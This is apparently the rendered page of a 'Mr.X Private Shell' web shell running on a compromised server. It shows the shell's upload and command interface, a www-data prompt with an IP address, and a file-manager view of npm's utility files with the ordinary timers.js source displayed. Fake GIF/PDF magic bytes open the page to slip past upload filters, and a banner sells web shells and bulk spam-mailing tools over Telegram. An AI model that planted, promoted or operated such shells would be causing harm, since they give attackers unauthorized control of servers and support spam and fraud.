GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
const EE = require('node:events')
const fs = require('node:fs')
const { log, time } = require('proc-log')

const INITIAL_TIMER = 'npm'

class Timers extends EE {
  #file
  #timing

  #unfinished = new Map()
  #finished = {}

  constructor () {
    super()
    this.on()
    time.start(INITIAL_TIMER)
    this.started = this.#unfinished.get(INITIAL_TIMER)
  }

  on () {
    process.on('time', this.#timeHandler)
  }

  off () {
    process.off('time', this.#timeHandler)
  }

  load ({ path, timing } = {}) {
    this.#timing = timing
    this.#file = `${path}timing.json`
  }

  finish (metadata) {
    time.end(INITIAL_TIMER)

    for (const [name, timer] of this.#unfinished) {
      log.silly('unfinished npm timer', name, timer)
    }

    if (!this.#timing) {
      // Not in timing mode, nothing else to do here
      return
    }

    try {
      this.#writeFile(metadata)
      log.info('timing', `Timing info written to: ${this.#file}`)
    } catch (e) {
      log.warn('timing', `could not write timing file: ${e}`)
    }
  }

  #writeFile (metadata) {
    const globalStart = this.started
    const globalEnd = this.#finished[INITIAL_TIMER]
    const content = {
      metadata,
      timers: this.#finished,
      // add any unfinished timers with their relative start/end
      unfinishedTimers: [...this.#unfinished.entries()].reduce((acc, [name, start]) => {
        acc[name] = [start - globalStart, globalEnd - globalStart]
        return acc
      }, {}),
    }
    fs.writeFileSync(this.#file, JSON.stringify(content) + '\n')
  }

  #timeHandler = (level, name) => {
    const now = Date.now()
    switch (level) {
      case time.KEYS.start:
        this.#unfinished.set(name, now)
        break
      case time.KEYS.end: {
        if (this.#unfinished.has(name)) {
          const ms = now - this.#unfinished.get(name)
          this.#finished[name] = ms
          this.#unfinished.delete(name)
          log.timing(name, `Completed in ${ms}ms`)
        } else {
          log.silly('timing', `Tried to end timer that doesn't exist: ${name}`)
        }
      }
    }
  }
}

module.exports = Timers

Filemanager

Name Type Size Permission Actions
audit-error.js File 1.02 KB 0644
auth.js File 3.21 KB 0644
cmd-list.js File 2.89 KB 0644
completion.fish File 1.56 KB 0644
completion.sh File 1.85 KB 0755
did-you-mean.js File 1.16 KB 0644
display.js File 15.38 KB 0644
error-message.js File 14.79 KB 0644
explain-dep.js File 3.03 KB 0644
explain-eresolve.js File 2.56 KB 0644
format-bytes.js File 629 B 0644
format-search-stream.js File 4.7 KB 0644
format.js File 1.91 KB 0644
get-identity.js File 802 B 0644
get-workspaces.js File 1.71 KB 0644
installed-deep.js File 1.1 KB 0644
installed-shallow.js File 583 B 0644
is-windows.js File 177 B 0644
log-file.js File 7.78 KB 0644
npm-usage.js File 2.02 KB 0644
open-url.js File 2.36 KB 0644
output-error.js File 767 B 0644
ping.js File 262 B 0644
queryable.js File 9.56 KB 0644
read-user-info.js File 1.91 KB 0644
reify-finish.js File 886 B 0644
reify-output.js File 5.65 KB 0644
sbom-cyclonedx.js File 5.21 KB 0644
sbom-spdx.js File 4.59 KB 0644
tar.js File 3.47 KB 0644
timers.js File 2.07 KB 0644
update-workspaces.js File 1013 B 0644
validate-lockfile.js File 1023 B 0644
verify-signatures.js File 11.94 KB 0644